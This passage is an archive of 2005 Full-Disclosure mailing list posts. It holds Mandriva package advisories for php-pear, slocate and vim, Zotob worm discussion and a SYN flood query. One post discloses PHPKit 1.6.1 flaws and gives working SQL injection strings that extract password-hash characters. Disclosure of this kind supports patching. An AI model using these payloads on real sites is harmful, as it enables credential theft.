iD8DBQFDCnF2mqjQ0CJFipgRAncMAJ9HH4kwuZzIMOYfijt1PO9Q2K7ZVQCg70j+ r9EN5k2ZS+HuS3TwSzt1yaA= =OHbk -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] MDKSA-2005:146 - Updated php-pear packages fix more PEAR XML-RPC vulnerabilities
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 ___ Mandriva Linux Security Update Advisory ___ Package name: php-pear Advisory ID:MDKSA-2005:146 Date: August 22nd, 2005 Affected versions: 10.0, 10.1, 10.2, Corporate 3.0 __ Problem Description: A problem was discovered in the PEAR XML-RPC Server package included in the php-pear package. If a PHP script which implements the XML-RPC Server is used, it would be possible for a remote attacker to construct an XML-RPC request which would cause PHP to execute arbitrary commands as the 'apache' user. ___ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2498 __ Updated Packages: Mandrakelinux 10.0: ad5790382b19a06f31d341d7eba05fb6 10.0/RPMS/php-pear-4.3.4-3.2.100mdk.noarch.rpm 7d41047a2fb997725773ae9dccd76ff9 10.0/SRPMS/php-pear-4.3.4-3.2.100mdk.src.rpm Mandrakelinux 10.0/AMD64: ad5790382b19a06f31d341d7eba05fb6 amd64/10.0/RPMS/php-pear-4.3.4-3.2.100mdk.noarch.rpm 7d41047a2fb997725773ae9dccd76ff9 amd64/10.0/SRPMS/php-pear-4.3.4-3.2.100mdk.src.rpm Mandrakelinux 10.1: 3c0b4ed15139d42df9be6ed177a571d6 10.1/RPMS/php-pear-4.3.8-1.2.101mdk.noarch.rpm ffd4b96fe8e05b7246eccd881563229d 10.1/SRPMS/php-pear-4.3.8-1.2.101mdk.src.rpm Mandrakelinux 10.1/X86_64: 3c0b4ed15139d42df9be6ed177a571d6 x86_64/10.1/RPMS/php-pear-4.3.8-1.2.101mdk.noarch.rpm ffd4b96fe8e05b7246eccd881563229d x86_64/10.1/SRPMS/php-pear-4.3.8-1.2.101mdk.src.rpm Mandrakelinux 10.2: 484af9862c08f5fdec98007d74fdcf8c 10.2/RPMS/php-pear-4.3.10-3.2.102mdk.noarch.rpm 28e358ce40a0561251ba34d909a7c617 10.2/SRPMS/php-pear-4.3.10-3.2.102mdk.src.rpm Mandrakelinux 10.2/X86_64: 484af9862c08f5fdec98007d74fdcf8c x86_64/10.2/RPMS/php-pear-4.3.10-3.2.102mdk.noarch.rpm 28e358ce40a0561251ba34d909a7c617 x86_64/10.2/SRPMS/php-pear-4.3.10-3.2.102mdk.src.rpm Corporate 3.0: 4f1eede09f0e47209b13e7c8168bcb79 corporate/3.0/RPMS/php-pear-4.3.4-3.2.C30mdk.noarch.rpm e5e1fa37415a8761c2b25799ef8fffb5 corporate/3.0/SRPMS/php-pear-4.3.4-3.2.C30mdk.src.rpm Corporate 3.0/X86_64: 4f1eede09f0e47209b13e7c8168bcb79 x86_64/corporate/3.0/RPMS/php-pear-4.3.4-3.2.C30mdk.noarch.rpm e5e1fa37415a8761c2b25799ef8fffb5 x86_64/corporate/3.0/SRPMS/php-pear-4.3.4-3.2.C30mdk.src.rpm ___ To upgrade automatically use MandrakeUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. All packages are signed by Mandriva for security. You can obtain the GPG public key of the Mandriva Security Team by executing: gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98 You can view other update advisories for Mandriva Linux at: http://www.mandriva.com/security/advisories If you want to report vulnerabilities, please contact security_(at)_mandriva.com ___ Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Mandriva Security Team security*mandriva.com -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFDCnHYmqjQ0CJFipgRAp+VAKDW9kEg9S9oQ8msSkqy2lDZ0ufSvwCgwO2g 3cyMki9MOeXvAD6wNsY8AN4= =ZKfT -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] MDKSA-2005:147 - Updated slocate packages fix vulnerability
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 ___ Mandriva Linux Security Update Advisory ___ Package name: slocate Advisory ID:MDKSA-2005:147 Date: August 22nd, 2005 Affected versions: 10.0, 10.1, 10.2, Corporate 3.0, Corporate Server 2.1 __ Problem Description: A bug was discovered in the way that slocate processes very long paths. A local user could create a carefully crafted directory structure that would prevent updatedb from completing its filesystem scan, resulting in an incomplete database. ___ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2499 __ Updated Packages: Mandrakelinux 10.0: 8b492b8674dcd11652f28b267f314f89 10.0/RPMS/slocate-2.7-4.1.100mdk.i586.rpm 752863ae586d26b93bc4833967d4c5cd 10.0/SRPMS/slocate-2.7-4.1.100mdk.src.rpm Mandrakelinux 10.0/AMD64: abd885edd206419961702efee3b76f16 amd64/10.0/RPMS/slocate-2.7-4.1.100mdk.amd64.rpm 752863ae586d26b93bc4833967d4c5cd amd64/10.0/SRPMS/slocate-2.7-4.1.100mdk.src.rpm Mandrakelinux 10.1: c5eb5da64a9500f2917467380ec2016b 10.1/RPMS/slocate-2.7-4.1.101mdk.i586.rpm 734eb05ad18bd9c4955a29574b2bebd0 10.1/SRPMS/slocate-2.7-4.1.101mdk.src.rpm Mandrakelinux 10.1/X86_64: 2d7791f13424975932551dc9e83bfceb x86_64/10.1/RPMS/slocate-2.7-4.1.101mdk.x86_64.rpm 734eb05ad18bd9c4955a29574b2bebd0 x86_64/10.1/SRPMS/slocate-2.7-4.1.101mdk.src.rpm Mandrakelinux 10.2: fd8bf38e59bb05eea611de5b2ae70255 10.2/RPMS/slocate-2.7-4.1.102mdk.i586.rpm 37c7654356b72327dd028e2ce3b1e9f0 10.2/SRPMS/slocate-2.7-4.1.102mdk.src.rpm Mandrakelinux 10.2/X86_64: 8344b2bece3dca3cac1d3afbe5774936 x86_64/10.2/RPMS/slocate-2.7-4.1.102mdk.x86_64.rpm 37c7654356b72327dd028e2ce3b1e9f0 x86_64/10.2/SRPMS/slocate-2.7-4.1.102mdk.src.rpm Corporate Server 2.1: 57e13aee8eb5547443b1d6df1897a5a4 corporate/2.1/RPMS/slocate-2.7-2.2.C21mdk.i586.rpm e827615678546ce552ddea3784ea7651 corporate/2.1/SRPMS/slocate-2.7-2.2.C21mdk.src.rpm Corporate Server 2.1/X86_64: be3dab7dac13c4a873296f9f81d8c893 x86_64/corporate/2.1/RPMS/slocate-2.7-2.2.C21mdk.x86_64.rpm e827615678546ce552ddea3784ea7651 x86_64/corporate/2.1/SRPMS/slocate-2.7-2.2.C21mdk.src.rpm Corporate 3.0: 6410921b0027b5fbfd6357934eb8283e corporate/3.0/RPMS/slocate-2.7-4.1.C30mdk.i586.rpm cfd5b24994f7c16a10e0fbafd86f8e47 corporate/3.0/SRPMS/slocate-2.7-4.1.C30mdk.src.rpm Corporate 3.0/X86_64: 0cfb14d70b0fd89f49e5ed9b42d98782 x86_64/corporate/3.0/RPMS/slocate-2.7-4.1.C30mdk.x86_64.rpm cfd5b24994f7c16a10e0fbafd86f8e47 x86_64/corporate/3.0/SRPMS/slocate-2.7-4.1.C30mdk.src.rpm ___ To upgrade automatically use MandrakeUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. All packages are signed by Mandriva for security. You can obtain the GPG public key of the Mandriva Security Team by executing: gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98 You can view other update advisories for Mandriva Linux at: http://www.mandriva.com/security/advisories If you want to report vulnerabilities, please contact security_(at)_mandriva.com ___ Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Mandriva Security Team security*mandriva.com -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFDCnI3mqjQ0CJFipgRAn6tAJ9kpzfcxtinuFWwFWaRBM2eKMKk8ACePKVp +9rx3np+kcbkXnUFnZu72pI= =cxE3 -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] MDKSA-2005:148 - Updated vim packages fix vulnerability
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 ___ Mandriva Linux Security Update Advisory ___ Package name: vim Advisory ID:MDKSA-2005:148 Date: August 22nd, 2005 Affected versions: 10.0, 10.1, 10.2, Corporate 3.0, Corporate Server 2.1, Multi Network Firewall 2.0 __ Problem Description: A vulnerability was discovered in the way that vim processed modelines. If a user with modelines enabled opened a textfile with a specially crafted modeline, arbitrary commands could be executed. ___ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2368 __ Updated Packages: Mandrakelinux 10.0: 962c81613136ed7ca634b960a92722b4 10.0/RPMS/vim-X11-6.2-14.4.100mdk.i586.rpm cd0286f3cdcca0bcb61e91b690c33e50 10.0/RPMS/vim-common-6.2-14.4.100mdk.i586.rpm 84c7a8451f4b84ae5f362ad1e21fff66 10.0/RPMS/vim-enhanced-6.2-14.4.100mdk.i586.rpm 669fc75bbda5aa9fb66f63428ba340e5 10.0/RPMS/vim-minimal-6.2-14.4.100mdk.i586.rpm 0c122671de7f0be1fe5889b97077ae4d 10.0/SRPMS/vim-6.2-14.4.100mdk.src.rpm Mandrakelinux 10.0/AMD64: 0f3caed96b7f1f2baed8a8962ec3b4ca amd64/10.0/RPMS/vim-X11-6.2-14.4.100mdk.amd64.rpm ab87468b1829e910b4ca7ac0d0100978 amd64/10.0/RPMS/vim-common-6.2-14.4.100mdk.amd64.rpm ffd161316881f3b1507eb3290094a25a amd64/10.0/RPMS/vim-enhanced-6.2-14.4.100mdk.amd64.rpm 4868d574f0f9f25e758f925083a90b72 amd64/10.0/RPMS/vim-minimal-6.2-14.4.100mdk.amd64.rpm 0c122671de7f0be1fe5889b97077ae4d amd64/10.0/SRPMS/vim-6.2-14.4.100mdk.src.rpm Mandrakelinux 10.1: aafd1a6fd9f2b5971a563f4e2afa962a 10.1/RPMS/vim-X11-6.3-5.4.101mdk.i586.rpm 376493f4f15bf4472e5b9607d3274231 10.1/RPMS/vim-common-6.3-5.4.101mdk.i586.rpm 9939e76b7510a330f999a0c59a8fe7eb 10.1/RPMS/vim-enhanced-6.3-5.4.101mdk.i586.rpm 766aee98f2396becd720b924512bcd16 10.1/RPMS/vim-minimal-6.3-5.4.101mdk.i586.rpm f373a2117c65bf18d25efd95db9fc3cd 10.1/SRPMS/vim-6.3-5.4.101mdk.src.rpm Mandrakelinux 10.1/X86_64: 57b16ed9c7ec73a21849f813b7d14c8d x86_64/10.1/RPMS/vim-X11-6.3-5.4.101mdk.x86_64.rpm 7a7d30797acda07ae1ff25d6f7c58dca x86_64/10.1/RPMS/vim-common-6.3-5.4.101mdk.x86_64.rpm 65e69d9cb477cc0477d3ddf9687065d4 x86_64/10.1/RPMS/vim-enhanced-6.3-5.4.101mdk.x86_64.rpm 1807eb9791da5518167a3fc2f4637776 x86_64/10.1/RPMS/vim-minimal-6.3-5.4.101mdk.x86_64.rpm f373a2117c65bf18d25efd95db9fc3cd x86_64/10.1/SRPMS/vim-6.3-5.4.101mdk.src.rpm Mandrakelinux 10.2: 534262aacc55523ac8f70bd0bb128c0d 10.2/RPMS/vim-X11-6.3-12.1.102mdk.i586.rpm edc277a6b8e1f68f936283addd4c693b 10.2/RPMS/vim-common-6.3-12.1.102mdk.i586.rpm ca29f9b56afb7130378179187e2dff48 10.2/RPMS/vim-enhanced-6.3-12.1.102mdk.i586.rpm 890cee90f519765234316fe31e53adab 10.2/RPMS/vim-minimal-6.3-12.1.102mdk.i586.rpm 91627d558879abb42b848dfba98f2c75 10.2/SRPMS/vim-6.3-12.1.102mdk.src.rpm Mandrakelinux 10.2/X86_64: 1df911cedfaedfe99e60463296af6672 x86_64/10.2/RPMS/vim-X11-6.3-12.1.102mdk.x86_64.rpm 8a673c26fac6a9ab7d06d5295b4c7229 x86_64/10.2/RPMS/vim-common-6.3-12.1.102mdk.x86_64.rpm b4bc9aec773899cfee039cc7a3eacb8a x86_64/10.2/RPMS/vim-enhanced-6.3-12.1.102mdk.x86_64.rpm a5c194fb681f9eb51c6b2dae3c47d716 x86_64/10.2/RPMS/vim-minimal-6.3-12.1.102mdk.x86_64.rpm 91627d558879abb42b848dfba98f2c75 x86_64/10.2/SRPMS/vim-6.3-12.1.102mdk.src.rpm Multi Network Firewall 2.0: a155774dfb2e3de1398520b1fcc26ec7 mnf/2.0/RPMS/vim-common-6.2-14.4.M20mdk.i586.rpm 568587310ed3f7901dd5d4b5a165f32f mnf/2.0/RPMS/vim-enhanced-6.2-14.4.M20mdk.i586.rpm b677a06a11ed028b08d8eeed9bcaaab6 mnf/2.0/RPMS/vim-minimal-6.2-14.4.M20mdk.i586.rpm 6bd495589bc061390b3bf2bfa1470c0a mnf/2.0/SRPMS/vim-6.2-14.4.M20mdk.src.rpm Corporate Server 2.1: 5a0b82ffacb2846807366ed0df79aa5f corporate/2.1/RPMS/vim-X11-6.1-34.5.C21mdk.i586.rpm e3645b75141486cd7a0df56f1a55b21f corporate/2.1/RPMS/vim-common-6.1-34.5.C21mdk.i586.rpm 20d0a95ab5a8deadbb0e776997f436fb corporate/2.1/RPMS/vim-enhanced-6.1-34.5.C21mdk.i586.rpm 6de52fca478c565cded946eb24d7fbe8 corporate/2.1/RPMS/vim-minimal-6.1-34.5.C21mdk.i586.rpm 944de1a2b8348726c6fbe3bc5c7eb719 corporate/2.1/SRPMS/vim-6.1-34.5.C21mdk.src.rpm Corporate Server 2.1/X86_64: c86249e6a7541ef5ddfe2b90e1c498aa x86_64/corporate/2.1/RPMS/vim-X11-6.1-34.5.C21mdk.x86_64.rpm f21a7e25f753c36c57841e27953e9ed9 x86_64/corporate/2.1/RPMS/vim-common-6.1-34.5.C21mdk.x86_64.rpm 27d5ce793640ae0cfcaebc09a977388d x86_64/corporate/2.1/RPMS/vim-enhanced-6.1-34.5.C21mdk.x86_64.rpm 8e84a6e1153bc4b140916184b5fb2d67 x86_64/corporate/2.1/RPMS/vim-minimal-6.1-34.5.C21mdk.x86_64.rpm
[Full-Disclosure]SQL Injection and PHP Code Injection Vulnerabilities in PHPKit 1.6.1
SQL Injection and PHP Code Injection Vulnerabilities in PHPKit 1.6.1 Version: PHPKit 1.6.1 Risk: High if magic_quotes_gpc = Off URL: http://www.phpkit.com *** SQL Injection in include.php?path=login/member.php The parameters usernick and letters are vulnerable to SQL Injections. POC: /phpkit/include.php?path=login/member.phpletter=phuket'%20AND%20MID(user_pw,1,1)='8'/* This will show the user phuket if the first character of his password hash is '8'. SQL Injection in include.php?path=login/imcenter.php The parameter im_receiver is vulnerable to SQL Injections. POC: im_receiver=phuket' AND MID(user_pw,1,1)='8'/* This will print an error message like Der von Ihnen angegebene Empfänger konnte nicht gefunden werden. Überprüfen Sie bitte Ihre Eingabe! If the first character of the password hash is not '8'. PHP Code Injection in admin/admin.php?path=images.php It is possible to upload .php files to the content/images/ directory. Of course you need a legal admin pass first. Exploit code exists but I will not make it available to the public at this time. *** Solution: Turn magic_quotes on Phuket ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Zotob Worm Remover
I'm just going to be facetious here and say What's Zotob? Seriously, you can have all the arguments you want about how worm X infection rate is increased due to whatever reason but as J Tucker pointed out it's the software that's the issue. As for us *shrugs*, we don't suffer the plight of worms. I guess that's the advantage of running a 100% Linux shop. Stu On Mon, 2005-08-22 at 22:08 +0100, James Tucker wrote: It seems to me that the attack was less than a week old from the start date. Default settings on a relatively unchanged box would provide a suitable window of opportunity given the availability of the worm to the deployer. This is more important than network connectivity, which is not of security concern as this is not the exploited layer. Disconnecting networks is what you suggest when you're in trouble, not when you're trying to maintain the daily balance of cost vs function. Moreover, wireless is recieving the blame - however this will only continue whilst your laptop is the device you are using. Eventually will you blame the mobile phone companies for allowing dangerous traffic to flow through the repeaters? What about sattelite links - should we filter those and knock the latency up another notch? No, it's the software, once again. Connectivity increases exposure, it doesn't decrease security - the two are not one and the same. 1000 laptops in a city centre network becoming infected less than a week from update release would be unsuprising (read: defaults are once a week at 3). The security of these laptops was not compromised by the wireless presence, it was a medium of travel only. Now lets say, we go back in time and remove all of the wireless NIC's. Now, there are only 750 laptops cause we can't generate as much revenue (joke), and of these they're all still connected, just with a different medium. The medium is (specification)centralised and routable in the same manner (ah, so the medium can have 'implications' ;) - the infection rate is the same. Why? because they are all connected. It's BEING CONNECTED not BEING WIRELESS that's the issue here. Yes you may argue, pointlessly however, that wireless has increased average connectivity, however once again, this is only a medium. It's business/personal drive that requires connectedness, not the technology itself. Todd Towles wrote: This is correct for the first day, maybe two. Then unpatched laptops leave the corporate network, hit the internet outside the firewall and then bring the worm back right to the heart of the network the very next day, bypassing the firewall all together. Firewall is just one step..it isn't a solve all. Patching would be the only way to stop this threat in all vectors. That was my point. If you aren't blocking 445 on the border of your network, you have must worse problems with Zotob. -Original Message- From: Ron DuFresne [mailto:[EMAIL PROTECTED] Sent: Monday, August 22, 2005 3:15 PM To: Todd Towles Cc: n3td3v; full-disclosure@lists.grok.org.uk Subject: RE: [Full-disclosure] Zotob Worm Remover On Mon, 22 Aug 2005, Todd Towles wrote: Wireless really isn't a issue. You can get a worm from a cat 5 as easy as you can from wireless. The problem was they weren't patched. Why weren't they patched? Perhaps Change policy slowed them down, perhaps it was the fear of broken programs..perhaps it was the QA group..it doesn't really matter. They go the worm because they were not patched. And because they didn't properly filter port 445 is my understanding. Unpatched systems behind FW's that fliter 445 were untouched. Thanks, Ron DuFresne -- Sometimes you get the blues because your baby leaves you. Sometimes you get'em 'cause she comes back. --B.B. King ***testing, only testing, and damn good at it too!*** OK, so you're a Ph.D. Just don't touch anything. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Zotob Worm Remover
On Tue, 23 Aug 2005 07:45:10 +1000, Stuart Low said: As for us *shrugs*, we don't suffer the plight of worms. I guess that's the advantage of running a 100% Linux shop. Don't be too smug there - there *was* the Lion worm, after all... ;) pgpIZJBcF37oq.pgp Description: PGP signature ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Zotob Worm Remover
You call it smug .. I call it being a cocky ass bitch ..difference in culture I suppose Cherio! ~pingywon - Original Message - From: [EMAIL PROTECTED] To: Stuart Low [EMAIL PROTECTED] Cc: full-disclosure@lists.grok.org.uk Sent: Monday, August 22, 2005 9:49 PM Subject: Re: [Full-disclosure] Zotob Worm Remover ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
RE: [Full-disclosure] An old/new security list
thinking security-minded people always backed up their hdds daily :D Backups are for hobos - we prefer rsync over ssh :) Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com) ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
RE: [Full-disclosure] Zotob Worm Remover
I myself have an agent with a few basic O/S rules like : - No application may write other applications memory space - No application may inject code into other programs (dll hooks and such) - No application may access system functions from code executing in data or stack space - No application may capture keystrokes This does quite abit to protect my laptop from unknown attacks What agent is this ? I would like to try this out on my vmware Can you please tell me more about this ? This would be good ... Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com) ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] An old/new security list
Aditya Deshmukh wrote: thinking security-minded people always backed up their hdds daily :D Backups are for hobos - we prefer rsync over ssh :) Oh yeah, why get just one box pwned when you can pwn the whole neighborhood :-) Jeff ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Port 8041 Syn flood
Hi All, Is anyone else seeing a very large increase of SYN packets coming to port 8041 over the last couple of days. It is coming from different addresses to most of my machines in separate networks. I couldn't find information about any services that use port 8041 yet. So for now I am assuming that this is just a SYN flood. Can anyone else shed some more light into this? Thanks Rajesh ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
